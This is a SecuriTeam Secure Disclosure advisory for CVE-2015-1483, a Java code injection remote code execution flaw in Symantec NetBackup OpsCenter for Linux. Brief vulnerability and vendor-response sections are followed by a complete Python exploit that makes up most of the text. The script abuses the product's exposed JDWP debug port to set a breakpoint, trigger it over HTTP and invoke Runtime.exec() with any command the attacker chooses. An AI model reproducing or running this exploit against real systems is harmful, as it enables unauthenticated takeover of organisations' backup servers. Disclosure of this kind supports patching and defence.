SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Symantec NetBackup OpsCenter is an optional web based application that, if installed, is installed separately in a customer’s environment for advanced monitoring, alerting, and reporting capabilities. Symantec NetBackup OpsCenter for Linux/Unix is susceptible to Java Code injection that could potentially result in privileged access to the application.
Vulnerability Details
A vulnerability in Symantec NetBackup OpsCenter when installed on a Linux based operating system allows remote unauthenticated attackers to cause the product to execute arbitrary code. The vulnerability exploits a mechanism that allows users to provide Java code to the server that is then executed as part of its internal process, due to a flaw in the way this code is handled an attacker can cause it to execute arbitrary code of his choice and elevate it to gain root privileges on the remote machine.
Vendor Response
Symantec has released an advisory, Security Advisories Relating to Symantec Products – Symantec NetBackup OpsCenter Server Java Code Injection RCE, that addresses this vulnerability.
CVE
A single CVE entry has been released for this vulnerability, CVE-2015-1483.
Exploit
#!/usr/bin/env python import socket import time import sys import struct import urllib from urlparse import urlparse import argparse import re import requests import thread # Exceptions class ResolveException(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class JdwpException(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) # JDWP protocol variables HANDSHAKE = "JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 # Command signatures VERSION_SIG = (1, 1) CLASSESBYSIGNATURE_SIG = (1, 2) ALLCLASSES_SIG = (1, 3) ALLTHREADS_SIG = (1, 4) IDSIZES_SIG = (1, 7) CREATESTRING_SIG = (1, 11) SUSPENDVM_SIG = (1, 8) RESUMEVM_SIG = (1, 9) SIGNATURE_SIG = (2, 1) FIELDS_SIG = (2, 4) METHODS_SIG = (2, 5) GETVALUES_SIG = (2, 6) CLASSOBJECT_SIG = (2, 11) INVOKESTATICMETHOD_SIG = (3, 3) NEWINSTANCE_SIG = (3, 4) REFERENCETYPE_SIG = (9, 1) INVOKEMETHOD_SIG = (9, 6) STRINGVALUE_SIG = (10, 1) THREADNAME_SIG = (11, 1) THREADSUSPEND_SIG = (11, 2) THREADRESUME_SIG = (11, 3) THREADSTATUS_SIG = (11, 4) EVENTSET_SIG = (15, 1) EVENTCLEAR_SIG = (15, 2) EVENTCLEARALL_SIG = (15, 3) # Other codes MODKIND_COUNT = 1 MODKIND_THREADONLY = 2 MODKIND_CLASSMATCH = 5 MODKIND_LOCATIONONLY = 7 EVENT_BREAKPOINT = 2 SUSPEND_EVENTTHREAD = 1 SUSPEND_ALL = 2 NOT_IMPLEMENTED = 99 VM_DEAD = 112 INVOKE_SINGLE_THREADED = 2 TAG_OBJECT = 76 TAG_STRING = 115 TAG_CLASS = 99 TYPE_CLASS = 1 # JDWP client class class JDWPClient: def __init__(self, host, port=8000): self.host = host self.port = port self.methods = {} self.fields = {} self.id = 0x01 return def create_packet(self, cmdsig, data=""): flags = 0x00 cmdset, cmd = cmdsig pktlen = len(data) + 11 pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) pkt+= data self.id += 2 return pkt def read_reply(self): header = self.socket.recv(11) pktlen, id, flags, errcode = struct.unpack(">IIcH", header) if flags == chr(REPLY_PACKET_TYPE): if errcode : raise JdwpException("Received errcode %d" % errcode) buf = "" while len(buf) + 11 < pktlen: data = self.socket.recv(1024) if len(data): buf += data else: time.sleep(1) return buf def parse_entries(self, buf, formats, explicit=True): entries = [] if explicit: nb_entries = struct.unpack(">I", buf[:4])[0] buf = buf[4:] else: nb_entries = 1 for i in range(nb_entries): data = {} for fmt, name in formats: if fmt == "L" or fmt == 8: data[name] = int(struct.unpack(">Q", buf[:8])[0]) buf = buf[8:] elif fmt == "I" or fmt == 4: data[name] = int(struct.unpack(">I", buf[:4])[0]) buf = buf[4:] elif fmt == 'S': l = struct.unpack(">I", buf[:4])[0] data[name] = buf[4:4+l] buf = buf[4+l:] elif fmt == 'C': data[name] = ord(struct.unpack(">c", buf[:1])[0]) buf = buf[1:] elif fmt == 'Z': # zpecifics t = ord(struct.unpack(">c", buf[:1])[0]) if t == 115: # string (objid) s = self.solve_string(buf[1:9]) data[name] = s buf = buf[9:] elif t == 73: # int data[name] = struct.unpack(">I", buf[1:5])[0] buf = struct.unpack(">I", buf[5:9]) else: raise JdwpException("Invalid response.") entries.append( data ) return entries def format(self, fmt, value): if fmt == "L" or fmt == 8: return struct.pack(">Q", value) elif fmt == "I" or fmt == 4: return struct.pack(">I", value) raise JdwpException("Unknown format.") def unformat(self, fmt, value): if fmt == "L" or fmt == 8: return struct.unpack(">Q", value[:8])[0] elif fmt == "I" or fmt == 4: return struct.unpack(">I", value[:4])[0] raise JdwpException("Unknown format.") def start(self): self.handshake(self.host, self.port) self.idsizes() self.allclasses() def handshake(self, host, port): self.socket = socket.socket() try: self.socket.connect((host, port)) except socket.error as msg: raise JdwpException("Failed to connect: %s" % msg) self.socket.send(HANDSHAKE) if self.socket.recv(len(HANDSHAKE)) != HANDSHAKE: raise JdwpException("Failed to handshake.") def leave(self): self.socket.close() def idsizes(self): self.socket.sendall( self.create_packet(IDSIZES_SIG) ) buf = self.read_reply() formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] for entry in self.parse_entries(buf, formats, False): for name,value in entry.iteritems(): setattr(self, name, value) def allthreads(self, refresh=False): if refresh: delattr(self, "threads") try: getattr(self, "threads") except : self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) buf = self.read_reply() formats = [ (self.objectIDSize, "threadId")] self.threads = self.parse_entries(buf, formats) finally: return self.threads def get_thread_by_name(self, name): self.allthreads() for t in self.threads: threadId = self.format(self.objectIDSize, t["threadId"]) self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) buf = self.read_reply() if len(buf) and name == self.readstring(buf): return t return None def allclasses(self, refresh=False): if refresh: delattr(self, "classes") try: getattr(self, "classes") except: self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) buf = self.read_reply() formats = [('C', "refTypeTag"), (self.referenceTypeIDSize, "refTypeId"), ('S', "signature"), ('I', "status")] self.classes = self.parse_entries(buf, formats) finally: return self.classes def get_class_by_name(self, name): for entry in self.classes: if entry["signature"].lower() == name.lower() : return entry return None def get_methods(self, refTypeId): if not self.methods.has_key(refTypeId): refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) buf = self.read_reply() formats = [(self.methodIDSize, "methodId"), ('S', "name"), ('S', "signature"), ('I', "modBits")] self.methods[refTypeId] = self.parse_entries(buf, formats) return self.methods[refTypeId] def get_method_by_name(self, name, jni_sig=None): for refId in self.methods.keys(): for entry in self.methods[refId]: if entry["name"].lower() == name.lower(): if jni_sig: if entry["signature"].lower() == jni_sig.lower(): return entry else: return entry return None def getfields(self, refTypeId): if not self.fields.has_key( refTypeId ): refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) buf = self.read_reply() formats = [(self.fieldIDSize, "fieldId"), ('S', "name"), ('S', "signature"), ('I', "modbits")] self.fields[refTypeId] = self.parse_entries(buf, formats) return self.fields[refTypeId] def getvalue(self, refTypeId, fieldId): data = self.format(self.referenceTypeIDSize, refTypeId) data+= struct.pack(">I", 1) data+= self.format(self.fieldIDSize, fieldId) self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) buf = self.read_reply() formats = [ ("Z", "value") ] field = self.parse_entries(buf, formats)[0] return field def createstring(self, data): buf = self.buildstring(data) self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) buf = self.read_reply() return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) def buildstring(self, data): return struct.pack(">I", len(data)) + data def readstring(self, data): size = struct.unpack(">I", data[:4])[0] return data[4:4+size] def suspendvm(self): self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) self.read_reply() return def resumevm(self): self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) self.read_reply() return def invokestatic(self, classId, threadId, methId, *args): data = self.format(self.referenceTypeIDSize, classId) data+= self.format(self.objectIDSize, threadId) data+= self.format(self.methodIDSize, methId) data+= struct.pack(">I", len(args)) for arg in args: data+= arg data+= struct.pack(">I", 0) self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) buf = self.read_reply() return buf def invoke(self, objId, threadId, classId, methId, *args): data = self.format(self.objectIDSize, objId) data+= self.format(self.objectIDSize, threadId) data+= self.format(self.referenceTypeIDSize, classId) data+= self.format(self.methodIDSize, methId) data+= struct.pack(">I", len(args)) for arg in args: data+= arg data+= struct.pack(">I", 0) self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) buf = self.read_reply() return buf def newinstance(self, classId, threadId, constructorId, *args): data = self.format(self.referenceTypeIDSize, classId) data+= self.format(self.objectIDSize, threadId) data+= self.format(self.methodIDSize, constructorId) data+= struct.pack(">I", len(args)) for arg in args: data+= arg data+= struct.pack(">I", 0) self.socket.sendall( self.create_packet(NEWINSTANCE_SIG, data=data) ) buf = self.read_reply() return buf def solve_string(self, objId): self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) buf = self.read_reply() if len(buf): return self.readstring(buf) else: return "" def query_thread(self, threadId, kind): data = self.format(self.objectIDSize, threadId) self.socket.sendall( self.create_packet(kind, data=data) ) buf = self.read_reply() return def suspend_thread(self, threadId): return self.query_thread(threadId, THREADSUSPEND_SIG) def status_thread(self, threadId): return self.query_thread(threadId, THREADSTATUS_SIG) def resume_thread(self, threadId): return self.query_thread(threadId, THREADRESUME_SIG) def send_event(self, eventCode, *args): data = "" data+= chr( eventCode ) data+= chr( SUSPEND_ALL ) data+= struct.pack(">I", len(args)) for kind, option in args: data+= chr( kind ) data+= option self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) buf = self.read_reply() return struct.unpack(">I", buf)[0] def clear_event(self, eventCode, rId): data = chr(eventCode) data+= struct.pack(">I", rId) self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) self.read_reply() return def clear_events(self): self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) self.read_reply() return def wait_for_event(self): buf = self.read_reply() return buf def parse_event_breakpoint(self, buf, eventId): num = struct.unpack(">I", buf[2:6])[0] rId = struct.unpack(">I", buf[6:10])[0] if rId != eventId: return None tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) loc = -1 # don't care return rId, tId, loc def error(msg): print("[-] %s" % msg) def info(msg): print("[*] %s" % msg) def resolve_class(jdwp, class_name, threadId=None): c = jdwp.get_class_by_name(class_name) if c is None and threadId: load_class(jdwp, threadId, class_name) jdwp.allclasses(refresh=True) c = jdwp.get_class_by_name(class_name) if c is None: raise ResolveException("Could not resolve class '%s'" % class_name) info("Found '%s' class: id=%x" % (class_name, c["refTypeId"])) return c["refTypeId"] def resolve_method(jdwp, class_ref, method_name, jni_sig=None): jdwp.get_methods(class_ref) m = jdwp.get_method_by_name(method_name, jni_sig) if m is None: raise ResolveException("Could not resolve method '%s'" % method_name) info("Found '%s' method: id=%x" % (method_name, m["methodId"])) return m["methodId"] def set_breakpoint(jdwp, break_on): break_on_class, break_on_method = str2fqclass(break_on) cref = resolve_class(jdwp, break_on_class) if not cref: error("It is possible that this class is not used by application") error("Test with another one with option `--break-on`") return False mref = resolve_method(jdwp, cref, break_on_method) if not mref: error("Could not access method '%s'" % break_on_method) return False loc = chr( TYPE_CLASS ) loc+= jdwp.format( jdwp.referenceTypeIDSize, cref) loc+= jdwp.format( jdwp.methodIDSize, mref) loc+= struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc),] rId = jdwp.send_event(EVENT_BREAKPOINT, *data) info("Created breakpoint event id=%x" % rId) return rId def invoke(jdwp, instanceId, threadId, classId, methodId, expected_tag, *data): buf = jdwp.invoke(instanceId, threadId, classId, methodId, *data) if buf[0] != chr(expected_tag): error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0])) return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) return retId def invokestatic(jdwp, classId, threadId, methodId, expected_tag, *data): buf = jdwp.invokestatic(classId, threadId, methodId, *data) if buf[0] != chr(expected_tag): error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0])) return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) return retId def newinstance(jdwp, classId, threadId, constructorId, expected_tag, *data): buf = jdwp.newinstance(classId, threadId, constructorId, *data) if buf[0] != chr(expected_tag): error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0])) return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) return retId def createstring(jdwp, data): strObjIds = jdwp.createstring(data) if len(strObjIds) == 0: error("Failed to allocate command") return False strObjId = strObjIds[0]["objId"] info("Command string object created id:%x" % strObjId) return strObjId def load_class(jdwp, threadId, class_name): classClass = resolve_class(jdwp, "Ljava/lang/Class;") if not classClass: error("Could not found 'Class' class.") return False loadClassMethod = resolve_method(jdwp, classClass, "forName") # load needed class class_name = jni2str(class_name) classStr = createstring(jdwp, class_name) data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, classStr)] classInstance = invokestatic(jdwp, classClass, threadId, loadClassMethod, TAG_CLASS, *data) return True def execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod): # allocating string containing our command to exec() commandInstance = createstring(jdwp, cmd) # invoke getRuntime() runtimeInstance = invokestatic(jdwp, runtimeClass, threadId, getRuntimeMethod, TAG_OBJECT) info("Runtime.getRuntime() returned context id:%#x" % runtimeInstance) # invoke exec() data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, commandInstance)] processInstance = invoke(jdwp, runtimeInstance, threadId, runtimeClass, execMethod, TAG_OBJECT, *data) info("Runtime.exec() returned context id=%x" % processInstance) # invoke getInputStream() on process inputStreamInstance = invoke(jdwp, processInstance, threadId, processClass, getInputStreamMethod, TAG_OBJECT) info("Process.getInputStream() returned context id=%x" % inputStreamInstance) # invoke java.util.Scaner constructor data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamInstance)] scannerInstance = newinstance(jdwp,scannerClass, threadId, scannerConstructor, TAG_OBJECT, *data) info("new Scanner() returned context id=%x" % scannerInstance) # invoke useDelimiter() delimiterInstance = createstring(jdwp, "\\Z") data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, delimiterInstance)] scannerInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, useDelimiterMethod, TAG_OBJECT, *data) info("Scanner.useDelimiter() returned context id=%x" % scannerInstance) # invoke next() retInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, nextMethod, TAG_STRING) info("Scanner.next() returned context id=%x" % retInstance) # get string value res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retInstance)) print("") print("%s" % res) print("") return True def trigger(url): requests.get(url) def exploit(jdwp, break_on, target, url, cmd): # setup breakpoint bpId = set_breakpoint(jdwp, break_on) if not bpId: error("Exploit failed.") return False # resume vm and wait for event jdwp.resumevm() info("Waiting for an event on '%s'" % break_on) while True: thread.start_new_thread(trigger, (url,)) buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, bpId) if ret is not None: break bpId, threadId, loc = ret info("Received matching event from thread %#x" % threadId) # remove breakpoint jdwp.clear_event(EVENT_BREAKPOINT, bpId) # resolve classes and methods runtimeClass = resolve_class(jdwp, "Ljava/lang/Runtime;", threadId) getRuntimeMethod = resolve_method(jdwp, runtimeClass, "getRuntime") execMethod = resolve_method(jdwp, runtimeClass, "exec", "(Ljava/lang/String;)Ljava/lang/Process;") processClass = resolve_class(jdwp, "Ljava/lang/Process;", threadId) getInputStreamMethod = resolve_method(jdwp, processClass, "getInputStream") scannerClass = resolve_class(jdwp, "Ljava/util/Scanner;", threadId) scannerConstructor = resolve_method(jdwp, scannerClass, "<init>", "(Ljava/io/InputStream;)V") useDelimiterMethod = resolve_method(jdwp, scannerClass, "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;") nextMethod = resolve_method(jdwp, scannerClass, "next") # execute the command execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod) # resume vm jdwp.resumevm() return True def str2fqclass(s): i = s.rfind('.') if i == -1: return False method = s[i:][1:] classname = 'L' + s[:i].replace('.', '/') + ';' return classname, method def jni2str(s): m = re.match("^L([^;]+);$", s) if m: return m.group(1).replace("/", ".") else: return False if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("url", type=str, metavar="URL", help="Remote OpsCenter URL (http://<remote>/opscenter/)") parser.add_argument("cmd", type=str, metavar="CMD", help="Command to execute") parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on") args = parser.parse_args() try: print("") print("##################################################################") print("# Symantec OpsCenter 7.6.x for Linux remote code execution #") print("##################################################################") print("") url = urlparse(args.url) cli = JDWPClient(url.hostname, args.port) cli.start() if exploit(cli, args.break_on, url.hostname, args.url, args.cmd) == False: error("Exploit failed") except KeyboardInterrupt: pass except Exception, e: error("Exception: %s" % e) finally: cli.leave() exit()